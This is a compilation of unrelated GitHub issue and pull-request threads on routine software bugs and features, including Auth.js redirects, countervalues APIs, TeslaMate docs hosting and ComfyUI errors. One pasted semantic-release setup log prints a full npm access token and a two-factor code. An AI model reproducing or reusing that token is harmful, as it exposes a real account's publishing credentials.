fix(qwik-auth): don't overwrite response headers in qwik auth

Overview

What is it?

[ ] Feature / enhancement
[x] Bug
[ ] Docs / tests / types / typos

Description
In Authjs, we cannot return a custom error currently, the only way is to redirect to a certain URL with the error being injected in the search params. So when we try setting location header, it can be missed since when Authjs gives the error it overwrites that location header with the CallbackRouteError URL which is not useful for a product or a website.
In this PR, we try checking if we're overwriting what's in the response or no. So we skip it if the header is already there which gives control over the redirecting ability of qwik instead of it being handled by Authjs.
Use cases and why

Making Redirecting by the location property possible in Qwik in the authorize function of the Credentials provider of Authjs

Checklist:

[x] My code follows the developer guidelines of this project
[x] I have performed a self-review of my own code
[ ] I have made corresponding changes to the documentation
[ ] Added new tests to cover the fix / functionality

I haven't had time to investigate yet, but this appears to break oauth authentication with PKCE code verifier errors

@Aslemammad can you may provide your authjs config so I can understand what you're trying to accomplish?

Let me know if this needs to be reverted...

It is a zero dot release, folks can pin it to 0.1.1 I suppose until we sort through it.  Upon some further research, it only appears to impact things when trying to login directly to a provider bypassing the auto-generated login page.

@ulic75 Sure, here you go:
class AuthError extends Error {}

declare module '@auth/core/types' {
  export interface Session {
    user: {
      id: number
      name: string | null
      email: string | null
      image: string | null
    }
  }
}

export const { onRequest, useAuthSession, useAuthSignin, useAuthSignout } =
  serverAuth$((req: RequestEventCommon) => ({
    callbacks: {
      session({ user, session, token}) {
        return {...session, user: {...session.user, id: token.id}}
      },
      async jwt({ token }) {
        const { db } = await createClient(req);
        const selectedUser = (
          await db
            .select()
            .from(user)
            .where(eq(user.email, token.email!))
            .execute()
        )[0];

        if (!selectedUser) {
          (
            await db
              .insert(user)
              .values({
                name: token.name!,
                email: token.email!,
                avatar: token.picture,
              })
              .returning()
              .execute()
          )[0];
        }
        return { ...token, id: selectedUser.id};
      },
    },
    secret: req.env.get("AUTH_SECRET"),
    trustHost: true,
    providers: [
      GitHub({
        id: "github",
        clientId: req.env.get("GITHUB_ID")!,
        clientSecret: req.env.get("GITHUB_SECRET")!,
      }),
      Google({
        id: "google",
        clientId: req.env.get("GOOGLE_CLIENT_ID")!,
        clientSecret: req.env.get("GOOGLE_CLIENT_SECRET")!,
      }),
      Credentials({
        id: "credentials",
        name: "Credentials",
        credentials: {
          // name is defined only in Signup
          name: { label: "Name", type: "text" },
          email: { label: "Email", type: "text" },
          password: { label: "Password", type: "password" },
        },
        async authorize(_credentials) {
          const isSignup = !!_credentials.name;
          try {
            const credentials = _credentials as {
              name?: string;
              email: string;
              password: string;
            };
            const { db } = await createClient(req);
            let selectedUser = (
              await db
                .select()
                .from(user)
                .where(eq(user.email, credentials.email))
                .execute()
            )[0];

            let justCreated = false;
            if (!selectedUser) {
              if (isSignup) {
                // sign up
                justCreated = true;
                selectedUser = (
                  await db
                    .insert(user)
                    .values({
                      name: credentials.name!,
                      email: credentials.email,
                      password: await pbkdf2(credentials.password),
                    })
                    .returning()
                    .execute()
                )[0];
              } else {
                throw new AuthError("User does not exist.");
              }
            }
            if (!selectedUser.password) {
              throw new AuthError(
                "You have been using OAuth instead of password, use the methods below like Google or Github.",
              );
            }
            if (
              !justCreated &&
              !(await pbkdf2Verify(
                selectedUser.password!,
                credentials.password,
              ))
            ) {
              return null;
            }

            return {
              id: `${selectedUser.id}`,
              email: selectedUser.email,
              name: selectedUser.name,
              image: selectedUser.avatar,
            };
          } catch (err: unknown) {
            const isAuthError = err instanceof AuthError;
            if (err instanceof Error) {
              const url = new URL(req.url);
              for (const k of url.searchParams.keys()) {
                url.searchParams.delete(k);
              }
              url.searchParams.set(
                isSignup ? "sign-up" : "sign-in",
                isAuthError
                  ? err.message
                  : "An error occured, Feel free to contact us",
              );
              req.headers.set("location", url.toString());
            }
            return null;
          }
        },
      }),
    ] as Provider[],
  }));

// session for server use
export const getSession = (req: RequestEventBase) => {
  const session: Session | null = req.sharedMap.get("session");
  return session;
};

Let me know if you need anything more.

OK, let me know how things need to change, and happy to cut another dot release.  PRs are welcome 😁


LIVE-2767 LLC - Countervalues API method change

📝 Description
Updated LLC countervalues pair method from POST legacy format to GET format
❓ Context

Impacted projects: ledger-live-common affects -> ledger-live-desktop ledger-live-mobile
Linked resource(s): LIVE-2767

✅ Checklist

[X] Test coverage
[X] Atomic delivery
[X] No breaking changes

📸 Demo

🚀 Expectations to reach
Please make sure you follow these Important Steps.
Pull Requests must pass the CI and be internally validated in order to be merged.

To test:
check on LLD that theres no regression in countervalues shown and that the switch of countervalues is correct.
basically the goall is to have the same values before this update than after.
The impacted areas are all countervalues related to accounts imported by the nano (the market page is not impacted)
you can check it on those sections but limited to:

Portfolio page
Operation details
Accounts pages
Send Flows countervalues
Swap flows countervalues

How is this test covered at the moment? It isn't unless you run the integration test https://github.com/LedgerHQ/ledger-live/blob/develop/libs/ledger-live-common/src/countervalues/logic.integration.test.ts
So please run the integration tests of countervalues
you can do this by going to https://github.com/LedgerHQ/ledger-live/actions/workflows/test-integration.yml and running a workflow on this branch and also using countervalues as a filter.

the integration tests are not testing edge cases. I have added a test and it shows api goes HTTP 414 with too much pairs asked.

@LFBarreto do you know if this PR is in sync with develop? the codecov diff is strange but I wonder if it's not due to fact we recently removed codecov coming from the "integration". normally codecov is now only on unit test and should be more stable

https://github.com/LedgerHQ/ledger-live/actions/runs/2697573130


same state object keeps being added to state_list in self_play.self_play_and_save

In AlphagoZero/training/self_play.py self_play_and_save() function, there is a
state_list.append(state)
This should be changed to
state_list.append(state.copy())
Otherwise same object keeps being added, and once done, it will be the last state, so state_list is full of the last state when game play is over.

Thanks!! I fixed it


Add a delay to polling response

First part of #606
Adds a poll_delay field to the last_operation response to allow a
Broker to tell a Platform to back-off on its polling
Signed-off-by: Doug Davis<EMAIL_ADDRESS>

I think we should leverage the HTTP caching mechanism, to optimize the polling. If the broker sets Cache-Control: max-age= header on the last operation resource, it would convey to the platform that this resource is not needed to be GETted again for the specified time. That would make the platform implementation simpler as well by leveraging a HTTP client extension which can respect the cache control header.

What are we going to do about this one @duglin ?

On a previous call I believe it was @fmui who pointed out that the Retry-After header exists. The docs for that header (https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html) only talk about it being used for 503's and 3xx's, and we'd want to use it on a 200. So I did some digging and found this: https://tools.ietf.org/html/rfc6585  which talks about it being used on  a 429. This addresses something I was wondering.... can it be used for non 503's and 3xx's ?  The original spec doesn't say it can't - and RFC6585 proves that other people are interpreting it the same way.  :-)
I've modified this PR to use that header instead.  What do other people think?


Registration quota in Overlay Hub

Overlay Hub should reject session-key and registration requests if they exceed a certain configurable limit as number of requests per second. Overlay Hub should also allow a session-key request from a new connection to succeed only once.
Please also discuss whether some or all of these features can be achieved via proxy or firewall (e.g. through packet sniffing and other mechanisms)?

Can use the Alarm feature of Hub?

The commit c584099c4249c7ac5bac3287901e4dda75350809 solved the issue.


Delay hover cannot be changed

monaco-editor version: 0.15.6
Browser: Chrome 72.0.3626.81
OS: Debian 10 Buster
Steps or JS usage snippet reproducing the issue:
Hello,
I try to change hover delay (default 300ms) and according to the documentation, it can be change like that (hover set to 1000ms in exemple below) :
monaco.editor.create(document.getElementById("container"), {
    value: '\n\nHover over this text',
    language: 'mySpecialLanguage',
    hover: { delay: 1000, enabled: true }
});

But the hover delay is not changed, you can try with this link : https://microsoft.github.io/monaco-editor/playground.html#extending-language-services-hover-provider-example
Documentation link : https://microsoft.github.io/monaco-editor/api/interfaces/monaco.editor.ieditorhoveroptions.html#delay

This works when running out of sources.


Install repo-setup without installing git or pip

This switches the repo-setup install to download a github tarball and using the pip bundled with python to install it in a venv.
This means no packages need to be installed before the repos are set up.
The script is run with the root user, so sudo calls have been removed also.

recheck

@cjeanner I've refreshed the change to include your changes, thanks

recheck

recheck

/lgtm
/approve
tested locally it works as expected.


Maxhits vs STR

I explain the situation.
On our shard, we have item that only modify MAXHITS.
EX:
[ITEMDEF i_chainmail_coif_biro]
defname=i_chainmail_coif_biro
NAME=Coiffe de maille de Biro
ID=i_chainmail_coif
REQSTR=20
WEIGHT=7.0
ON=@EQUIP
SRC.MAXHITS=<SRC.MAXHITS>+2

It's fine. But now my STR and MAXHITS are unlink.
Important add to this. When str and maxhits are unlink, the spell do not affect anymore. Maxhits, maxstam and maxmana.....
We have MODSTR item too (Work well if we do not equipe the other item FIRST)
[ITEMDEF i_fou_chest]
ID=i_platemail_chest
TYPE=T_ARMOR
WEIGHT=23.0
ARMOR=115
REQSTR=60
NAME=Plastron du berseker

ON=@EQUIP
SRC.HITS=<SRC.HITS>+50
SRC.MODSTR=<SRC.MODSTR>+50
ON=@UNEQUIP
SRC.HITS=<SRC.HITS>-50
SRC.MODSTR=<SRC.MODSTR>-50

Any hint how to fix that?
ISSUE ON 56d TOO: https://github.com/Sphereserver/Source/issues/249

create a player tag.bonushits
on equip
maxhits=0 //link to str
tag.bonushits += 5
maxhits=++<tag0.bonushits>
kinda?

Don't think it work because you  modify maxhits...

then use this: https://wiki.spherecommunity.net/index.php?title=@StatChange
when changing str or modstr recalculate including tag.bonushits

oh, wait. there is no need to do so..
just use MODMAXHITS

Working THX!!!


Fix markup for NUMA link

This change is

Online preview: http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/935757c64adc387f206ddd409e5e7c856a90b58a/
Edited pages:

v19.2/recommended-production-settings.md
v20.1/recommended-production-settings.md

@benmccann Thank you for contributing to CockroachDB this year. As a token of our appreciation, we would like to send you a gift. Please DM me on our community Slack @Amruta so I can send you a link. (If you don’t want a gift, we also have a charitable contribution choice.) All orders need to be in by December 13, so please contact me as soon as possible :)


can we use the event hub level connection string to create an event hub client?

is it possible to use the event hub level connection string to create an event hub client? if yes, what's the difference of the clients(created using the 2 different connection string)?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 1d72268d-2235-7fb1-3bdc-2bab4f589123
Version Independent ID: b01de562-b11b-02a2-31a5-3deb5a490fb7
Content: Send events using the .NET Framework - Azure Event Hubs
Content Source: articles/event-hubs/event-hubs-dotnet-framework-getstarted-send.md
Service: event-hubs
GitHub Login: @ShubhaVijayasarathy
Microsoft Alias: shvija

@imeya No, the event hub level connection string can be only used to send message to a particular event hub. It corresponds to an event hub and hence cannot be used to create one in the first place.
Hope this helps.

@imeya I will now proceed to close this issue. Feel free to comment if you have any concerns.

Hi I am using this script t send data to eventhub, and i found out that the connectionstring for the storage account has an extra variable 'EndpointSuffix', i tested the code by adding the variable and also by removing it but still keep running the following error:
'ConfigurationErrorsException: The Service Bus connection string is not of the expected format. Either there are unexpected properties within the string or the format is incorrect. Please check the string before trying again.'


Improve the usage of relevance score threshold and allow the return of the scores

Feature request
In VectorStore/VectorStoreRetriever class, _similarity_search_with_relevance_scoresfunction,

Allow different choices of threshold kind: allow users to choose whether >= threshold or <= threshold
Allow users to choose to return the relevance score along with the docs

Motivation
I am working with returning relevant docs that satisfy a certain threshold, and I encountered some problems.
One problem is that for different embedding algorithms and similarity calculations, it is not always the case that higher relevance scores are better. Actually, when I use HuggingFaceEmbedding with Chroma database, the smaller the relevance score, the better. So I believe it would be necessary to allow users choose between different options here.
The second problem is that I want to see the relevance score, however, in https://github.com/hwchase17/langchain/blob/master/langchain/vectorstores/base.py, line 474 to 492, it is fixed that only the docs are finally returned.
def _get_relevant_documents(
        self, query: str, *, run_manager: CallbackManagerForRetrieverRun
    ) -> List[Document]:
        if self.search_type == "similarity":
            docs = self.vectorstore.similarity_search(query, **self.search_kwargs)
        elif self.search_type == "similarity_score_threshold":
            docs_and_similarities = (
                self.vectorstore.similarity_search_with_relevance_scores(
                    query, **self.search_kwargs
                )
            )
            docs = [doc for doc, _ in docs_and_similarities]
        elif self.search_type == "mmr":
            docs = self.vectorstore.max_marginal_relevance_search(
                query, **self.search_kwargs
            )
        else:
            raise ValueError(f"search_type of {self.search_type} not allowed.")
        return docs

I wish there is an option that the relevance scores could also be returned.
Your contribution
I would love to open a PR if applicable ;) @hwchase17

Hi! I’m one of the founders of Sweep, a github app that solves issues(like adding small features) by writing pull requests. This looks like a good issue for Sweep https://github.com/sweepai/sweep to try. We have onboarding instructions here, I’m also happy to help you onboard directly :)


Change number of visible slides for tablet/mobile?

I'd like to be able to display 3 slides on desktop, two on tablet, and one on mobile.
Is it possible to do this?
Also, I've noticed that when displaying 3 slides, 3 of the slides and the corresponding dots are marked as selected - is it possible to mark only the central slide/dot as selected?
Thanks.

@getnorthern You can change the number of slides by changing the visibleSlides property of the CarouselProvider component.
I would write some code that changes the visibleSlides property based on the width of your device. There are tons of ways to find out the device width. I'm sure someone wrote an npm module if you don't know how.  I'll leave that up to you to discover.
As for the dots.  In your case, I would not use the DotGroup component.  I would write my own version of the DotGroup component.  Let's call it, CustomDotGroup.
You'll need to wrap your CustomDotGroup component in a higher order component that grabs the values for visibleSlides, totalSlides, and currentSlide from the context that CarouselProvider creates. (context is another way React passes data between components). We already do this in each component's index.js file.   For example, here is the index.js file for DotGroup.
import DotGroup from './DotGroup';
import WithStore from '../Store/WithStore';

export default WithStore(DotGroup, state => ({
  currentSlide: state.currentSlide,
  totalSlides: state.totalSlides,
  visibleSlides: state.visibleSlides,
}));

You'd want to change DotGroup to CustomDotGroup.  But basically, you'd use our WithStore HOC (higher order component) to wrap your CustomDotGroup component so that currentSlide, totalSlides, and visibleSlides are passed as props to your CustomDotGroup component.
CustomDotGroup would loop from 0 to the totalSlides property and create a Dot each iteration.  I would then manually set the disabled property on each Dot component.  You'd have to do some math to determine the center slide.  Your math would need to use visibleSlides, totalSlides, and currentSlide.
For example, if visibleSlides is 3 (desktop) and currentSlide always points to the left-most visible slide (see the documentation), then you would want to set disabled=false on every dot except for currentSlide +1

I'm going to close this question for now.  Let me know if you need any further explanation.

Thanks for such a detailed explanation. The number of displayed slides, I’ve already managed to sort - pretty much as you’ve suggested.
I’ll take a look at the dots.
Thanks again!


chore: document slug using JSDoc

Description
I suggest to put as much documentation as possible in JSDoc (FYI Playwright does this very well)
That's so convenient to have the documentation right into the IDE

[X] I have read and understand the CONTRIBUTING.md document in this repository.

Type of change

[X] Chore (non-breaking change which does not add functionality)
[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Change to the templates directory (does not affect core functionality)
[ ] Change to the examples directory (does not affect core functionality)
[ ] This change requires a documentation update

Checklist:

[ ] I have added tests that prove my fix is effective or that my feature works
[ ] Existing test suite passes locally with my changes
[ ] I have made corresponding changes to the documentation

I prefer a review than a stupid bot that automatically closes PR


rsyncd init script not needed on RHEL 7

You folks provide an rsyncd init script for RHEL, however, I think (though I am not 100% sure) that that is only needed for RHEL < 7, RHEL7 rsync has systemd unit files for rsync:
rpm -ql rsync | grep systemd /usr/lib/systemd/system/rsyncd.service /usr/lib/systemd/system/rsyncd.socket<EMAIL_ADDRESS>So if we can set a check in there for RHEL < 7, then we don't end up with multiple init scripts/systemd units.

This will actually get addressed in #43 once merged/released.


Add a 'recurring' attribute to Event object

My use-case is I need to distinguish between recurring and non-recurring events. Without this attribute there is no way to tell if an event is a single event or part of a recurring series of events.

Please review PR #35 for the changes to support this use-case.


Website Autobuild stopped working

The automatic deployment to https://docs.teslamate.org/ stopped working since renaming to teslamate-org.
#2845 and #3472 are not visible on Website.
Org name change is reflected correctly in docusaurus config:
https://github.com/teslamate-org/teslamate/blob/008955ab18c07be2a88218ff77423444e07aa5bd/website/docusaurus.config.js#L7

Deployment config seems to be incorrect. I do not have edit rights there. @cwanja can you adjust it?

I do not have any elevated access beyond what is in the GitHub repo. When you say "deployment config", where are you referring to @JakobLichterfeld?
Is there a server side config located at docs.teslamate.org? @adriankumpf

I do not have any elevated access beyond what is in the GitHub repo. When you say "deployment config", where are you referring to @JakobLichterfeld?
Sorry, this one: https://github.com/teslamate-org/teslamate/deployments

I do not have any elevated access beyond what is in the GitHub repo. When you say "deployment config", where are you referring to @JakobLichterfeld?
Sorry, this one: https://github.com/teslamate-org/teslamate/deployments

I can get to the Deployment page, but I cannot get into the the github.io link from your image. There is a "Manage Environments" link, but not seeing where to configure it. Happy to jump on a Teams call to screenshare. Though I believe our permissions are the same for the GitHub repo.

Though I believe our permissions are the same for the GitHub repo.

No, I do not have the "Manage Environments", as I'm a Member and you are configured as owner in the teslamate-org, see https://github.com/orgs/teslamate-org/people

No, I do not have the "Manage Environments", as I'm a Member and you are configured as owner in the teslamate-org, see https://github.com/orgs/teslamate-org/people

Yikes. News to me. We probably need a second, as I know Adrian step away. I do not want to be a single bottle neck.
Clicking through the Manage Environments, I cannot see anything "wrong". But will keep diving into it.

That "environment settings" looks like GitHub pages - which is the adrian link in your image that is a 404. Is your assumption that GitHub pages deploys to Docusaurus?
Also, assuming Adrian's owns docs.teslamate.org (@adriankumpf) and not sure if something has to be updated there.

Yikes. News to me. We probably need a second, as I know Adrian step away. I do not want to be a single bottle neck.

Perhaps you can promote @JakobLichterfeld to owner?

Yikes. News to me. We probably need a second, as I know Adrian step away. I do not want to be a single bottle neck.

Perhaps you can promote @JakobLichterfeld to owner?

Done. Welcome to the club @JakobLichterfeld 😄

s your assumption that GitHub pages deploys to Docusaurus?

In the readme it is stated that:
https://github.com/teslamate-org/teslamate/blob/008955ab18c07be2a88218ff77423444e07aa5bd/website/README.md?plain=1#L3

And our new org does not have the the teslamate docu website as verified domain, thus we can't deploy there, see: https://github.com/organizations/teslamate-org/settings/pages

@adriankumpf - we will need you to add the necessary DNS entries. I just added http://docs.teslamate.org as a domain. My guess is the TXT records for the domain from when TeslaMate was under Adrian's account will not work.

@cwanja @JakobLichterfeld The docs are actually hosted on Netlify, not GitHub pages. I've updated the site configuration and it should work again. Unfortunately, the non-pro plan does not allow adding more members to the team on Netlify, so I cannot invite you.
The config usually does not need to be changed, though, since every commit gets deployed automatically. If you ever want to make changes, I'll be around.

I think, like it or not, we really need control over the teslamate.org domain. That way we still have options if Netlify stops meeting our needs and we cannot contact Adrian.
Disregard if we already do have control, e.g. via Netlify.
The website has <title>Import from tesla-apiscraper (BETA) | TeslaMate</title> - perhaps this could be changed?
And would also be good if the website has some sort of date stamp - at least I can't see any - so we can easily tell if it is up-to-date or not.

I'd recommend some setup with octodns and a repo for this like http://GitHub.com/jekyll/dns. DNS is declaratively defined, synced with GitHub actions, and is version controlled. This democratizes access to the domain without requiring handing out credentials or managing more things outside GitHub.

Resolved based upon Adrian's comment.
Open to suggestions in a discussion for management of the domain from Brian and Parker.

Deployment works as expected, checks are running and even a nice preview is build before the merge, see https://github.com/teslamate-org/teslamate/pull/3344


Minecraft 1.21.3 crashing when trying to screenshot using Fabrishot

latest.log

Same here :(

Sorry for the delay (exams), fixed in 1.14.2


add fireEvent from dom-testing-library

What: add fireEvent

Why: https://github.com/kentcdodds/react-testing-library/issues/35

How: reexport from dom-testing-library

Checklist:

[x] Documentation
[x] Tests
[x] Ready to be merged
[x] Added myself to contributors table

Wait for https://github.com/kentcdodds/dom-testing-library/pull/13 to be merged

@sompylasar the 4 events that I've come across that aren't handled in React the same way as other events are change, select, mouseenter, mouseleave.

change seems to be triggered by input events
select seems to be triggered by some custom react-select event
mouseenter is triggered by mouseover (https://github.com/facebook/react/issues/1297)
mouseleave is triggered by mouseout (https://github.com/facebook/react/issues/1297)

I haven't been able to get this working in jsdom so triggering the real events and falling back to synthetic events seem like the cleanest option

@jomaxx Got it, thanks.

Could you also update the package.json so the version update of dom-testing-library is forced as part of this update?

Thanks so much for your help! I've added you as a collaborator on the project. Please make sure that you review the other/MAINTAINING.md and CONTRIBUTING.md files (specifically the bit about the commit messages and the git hooks) and familiarize yourself with the code of conduct (we're using the contributor covenant). You might also want to watch the repo to be notified when someone files an issue/PR. Please continue to make PRs as you feel the need (you can make your branches directly on the repo rather than your fork if you want). Thanks! And welcome to the team :)

Here it is:
$ npm_config_loglevel=verbose npx semantic-release-cli setup                                                                                127 ↵
prebuild-install info begin Prebuild-install version 2.5.1
prebuild-install info looking for local prebuild @ prebuilds/keytar-v4.2.1-node-v57-darwin-x64.tar.gz
prebuild-install info looking for cached prebuild @ /Users/ernesto/.npm/_prebuilds/https-github.com-atom-node-keytar-releases-download-v4.2.1-keytar-v4.2.1-node-v57-darwin-x64.tar.gz
prebuild-install info found cached prebuild
prebuild-install info unpacking @ /Users/ernesto/.npm/_prebuilds/https-github.com-atom-node-keytar-releases-download-v4.2.1-keytar-v4.2.1-node-v57-darwin-x64.tar.gz
prebuild-install info unpack resolved to /Users/ernesto/.npm/_npx/33021/lib/node_modules/semantic-release-cli/node_modules/keytar/build/Release/keytar.node
prebuild-install info unpack required /Users/ernesto/.npm/_npx/33021/lib/node_modules/semantic-release-cli/node_modules/keytar/build/Release/keytar.node successfully
prebuild-install info install Successfully installed prebuilt binary!
verb semantic-release Detected git url: https://github.com/gnapse/jest-dom.git
? What is your npm registry? http://registry.npmjs.org/
? Which authentication method is this npm registry using? Token based
? What is your npm username? gnapse
verb semantic-release request uri http://registry.npmjs.org/-/user/org.couchdb.user:gnapse
verb semantic-release request new user, so can't send auth
info semantic-release attempt registry request try #1 at 13:30:02
verb semantic-release request id f47fe6a6274083e5
http semantic-release request PUT http://registry.npmjs.org/-/user/org.couchdb.user:gnapse
http semantic-release 201 'http://registry.npmjs.org/-/user/org.couchdb.user:gnapse'
verb semantic-release headers { 'content-type': 'application/json',
verb semantic-release   'content-encoding': 'gzip',
verb semantic-release   'cache-control': 'max-age=300',
verb semantic-release   'transfer-encoding': 'chunked',
verb semantic-release   'accept-ranges': 'bytes',
verb semantic-release   date: 'Tue, 10 Apr 2018 17:30:06 GMT',
verb semantic-release   via: '1.1 varnish',
verb semantic-release   connection: 'keep-alive',
verb semantic-release   'x-served-by': 'cache-scl19423-SCL',
verb semantic-release   'x-cache': 'MISS',
verb semantic-release   'x-cache-hits': '0',
verb semantic-release   'x-timer': 'S1523381402.130948,VS0,VE4166',
verb semantic-release   vary: 'Accept-Encoding, Accept' }
info semantic-release Successfully created npm token. 403f2c4b-9788-450d-aefb-7bef93d45d12
? What is your GitHub username? gnapse
info semantic-release Two-factor authentication code needed via app.
? What is your GitHub two-factor authentication code? 120476
info semantic-release Successfully created GitHub token.
? What CI are you using? Travis CI
info semantic-release Could not load Travis CI config for endpoint.
info semantic-release Syncing repositories...
ERR! semantic-release Sorry, we experienced an error.
ERR! semantic-release
ERR! semantic-release request_id:698b64b9-bd61-4dff-b251-b2f21515926a
ERR! semantic-release
verb semantic-release Writing `package.json`.
info semantic-release Done.


[bug]

Describe the bug
Sidebar MTB: Browse input and out directories does not work
Reproduction
If i click in the sidebar MTB: Browse input and out directories
Expected behavior
A lsit of the pics in input and output directories
Operating System
Windows (Default)
Comfy Mode
Comfy Portable (embed) (Default)
Console output
Error handling request
Traceback (most recent call last):
  File "A:\ComfyUI_2.41\python_embeded\Lib\site-packages\aiohttp\web_protocol.py", line 479, in _handle_request
    resp = await request_handler(request)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "A:\ComfyUI_2.41\python_embeded\Lib\site-packages\aiohttp\web_app.py", line 569, in _handle
    return await handler(request)
           ^^^^^^^^^^^^^^^^^^^^^^
  File "A:\ComfyUI_2.41\python_embeded\Lib\site-packages\aiohttp\web_middlewares.py", line 117, in impl
    return await handler(request)
           ^^^^^^^^^^^^^^^^^^^^^^
  File "A:\ComfyUI_2.41\ComfyUI\server.py", line 62, in cache_control
    response: web.Response = await handler(request)
                             ^^^^^^^^^^^^^^^^^^^^^^
  File "A:\ComfyUI_2.41\ComfyUI\server.py", line 140, in origin_only_middleware
    response = await handler(request)
               ^^^^^^^^^^^^^^^^^^^^^^
  File "A:\ComfyUI_2.41\ComfyUI\server.py", line 74, in cors_middleware
    response = await handler(request)
               ^^^^^^^^^^^^^^^^^^^^^^
  File "A:\ComfyUI_2.41\ComfyUI\custom_nodes\comfy_mtb\__init__.py", line 550, in do_action
    return await endpoint.do_action(request)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "A:\ComfyUI_2.41\ComfyUI\custom_nodes\comfy_mtb\endpoint.py", line 166, in do_action
    result = method(*args) if isinstance(args, list) else method(args)
             ^^^^^^^^^^^^^
  File "A:\ComfyUI_2.41\ComfyUI\custom_nodes\comfy_mtb\endpoint.py", line 93, in ACTIONS_getUserImages
    imgs = {
           ^
  File "A:\ComfyUI_2.41\ComfyUI\custom_nodes\comfy_mtb\endpoint.py", line 100, in <dictcomp>
    if offset <= i < offset + count
                     ~~~~~~~^~~~~~~

Additional context
No response

Thanks for the report but I think your cropped the important part (just below that last line)
My guess is that one of the folder is probably empty. With more info it should be an easy fix

Thank you for your feedback. I have checked that if I check “Enable Debug (py and js)” the error is gone and if images are directly in the input and output folders they are now also displayed.
But I use the startup arguments:
--input-directory “H:\AI_Pics\ComfyUI\input”
--output-directory “H:\AI_Pics\ComfyUI\Output_New”
Then no images are displayed but only the default error.png
Will this be changed?
Translated with DeepL.com (free version)

Oh I see!

Will this be changed?

Yes definitely, it should work as you expect here. I'll check what's going on and close this issue when fixed

It should be fixed, if not i'll re-open it!

Thanks for the quick repair. Now everything works as it should!

However, I have many subdirectories in my output directory. Could this be a problem?

Currently it's expected, I have all in place to support it but I'm not sure how to display subdirs (either dump all in a common root list, or maybe add extra menu like output (<name-of-subdir>) etc... ) ideally something configurable.
Same for pagination I have part of the logic in place but it's not fully implemented so for now I set the default to fetch 1000 images per category.
I'll open a new issue to track that! If you have ideas on how it should behave don't hesitate to comment there


A320NEO Liveries (Livery Request)

I made some A320NEO Liveries cuz I'm bored. I'll try to fix the liveries that I make months ago + make more liveries in more aircrafts. But I don't think I'll do liveries for B757 and B787-8. So after that, I'll make more liveries for A320NEO (If there are even liveries left to make) or just do nothing at all and wait for the A320-214 to be supported. And I recreated the Cebu Pacific livery cuz why not?
Liveries I make:
Air Travel China
Anadolu Jet
Cebu Pacific
Flydeal
Iberia (OneWorld Livery)
LATAM Peru
PLAY
Royal Brunei
S7 Airlines
SaudiGulf Airlines
Ural Airlines

I made some A320NEO Liveries cuz I'm bored. I'll try to fix the liveries that I make months ago + make more liveries in more aircrafts. But I don't think I'll do liveries for B757 and B787-8. So after that, I'll make more liveries for A320NEO (If there are even liveries left to make) or just do nothing at all and wait for the A320-214 to be supported. And I recreated the Cebu Pacific livery cuz why not?
Liveries I make: Air Travel China Anadolu Jet Cebu Pacific Flydeal Iberia (OneWorld Livery) LATAM Peru PLAY Royal Brunei S7 Airlines SaudiGulf Airlines Ural Airlines

Hi @Ryubunao Can You Also Do A Cebu Pacific Daniel Wresch's 24th Birthday Greeting Livery Pls!!!!

& Also @Ryubunao Please Show My Fictional Livery OF Korean Air A380 #268

Why do you think he will advetise your liveries?

Sorry but I don't wanna do fictional liveries.

Sorry but I don't wanna do fictional liveries.

Ah Ok Can You Also Do A Old Cebu Pacific Livery?

I'll try to make one, btw these are not the only a320neo liveries I'll make

I made some A320NEO Liveries cuz I'm bored. I'll try to fix the liveries that I make months ago + make more liveries in more aircrafts. But I don't think I'll do liveries for B757 and B787-8. So after that, I'll make more liveries for A320NEO (If there are even liveries left to make) or just do nothing at all and wait for the A320-214 to be supported. And I recreated the Cebu Pacific livery cuz why not?
Liveries I make: Air Travel China Anadolu Jet Cebu Pacific Flydeal Iberia (OneWorld Livery) LATAM Peru PLAY Royal Brunei S7 Airlines SaudiGulf Airlines Ural Airlines

Mine If I Can Borrow This Cebu Pacific One!

sure!


Can Leaflet Support Map Rotate

I am using Leaflet on PC, but i need to rotate the map , i try to change it by setting the transform
transform:rotate(7deg);
-ms-transform:rotate(7deg); 	/* IE 9 /
-moz-transform:rotate(7deg); 	/ Firefox /
-webkit-transform:rotate(7deg); / Safari 和 Chrome /
-o-transform:rotate(7deg); 	/ Opera */
but the point i click was not the actually point i want !,can somebody tell me how can i rotate the map?

Duplicate of #268


if I only need the theme?

hi, i think your tmux theme is wonderful, i have a tmux.conf too. how do i borrow your theme but not tmux behaviour ?

Well there's a to get back the colors.
Start using my configuration. And once tmux has launch do:
$ tmux show -g status-left
$ tmux show -g status-right

This will show you the colors you need to use.

Another way is to override settings at the end of your ~/.tmux.conf.local copy. This would work for most settings and bindings

@FinallyFinancialFreedom Hello, did you manage to customize this configuration to your own desires in the end?


Fix 3 lgtm.com alerts: do not test reference equality, fix int overflow

I hope this is the right way to contribute.
This PR fixes 3 alerts flagged up by lgtm.com (@lgtmhq): https://lgtm.com/projects/g/linkedin/ambry/alerts. There are about 100 other alerts there - most of them are well worth fixing, but require more experience with the ambry code base to know what the right way to fix is.
Partition.java: using the '==' operator on boxed Integers only tests for reference equality, not value equality. More details: https://lgtm.com/projects/g/linkedin/ambry/snapshot/24055194cb62260545c73e6e1282df079c97cc32/files/ambry-clustermap/src/main/java/com.github.ambry.clustermap/Partition.java#V196
CompactAllPolicyFactory.java and DefaultCompactionPolicy.java: the multiplication of integers will have result of type int which can overflow before being stored as a long.
Tip: enable automatic code reviews of pull requests! https://lgtm.com/projects/g/linkedin/ambry/ci/

hi @pnarayanan: thanks for reviewing. I'll make some changes and ping you once they're done. In the meantime: maybe consider setting up pull request integration? That way you get automated code reviews so that new alerts are spotted before they get merged into master.
https://lgtm.com/projects/g/linkedin/ambry/ci/

@pnarayanan: all done, please have another look.

Thanks @sjvs. Have created #621 to look into integrating with lgtm.

This change looks good, merging.


Update superagent

Superagent could use an update:
├─┬<EMAIL_ADDRESS>│ └─┬<EMAIL_ADDRESS>│   └──<EMAIL_ADDRESS>

Hi @aaronschachter,
Thank you for opening this issue 😄
Yeah, I think that we should update it. I'll check if there are breaking changes to consider.
I'm a little bit busy at the moment but I'll do it as soon as possible!


Corrected typo in dublincore.py

(tests are failing for unrelated reason, but merging #188 should fix that)


Feature request: Allow us to specify .env file on the command line.

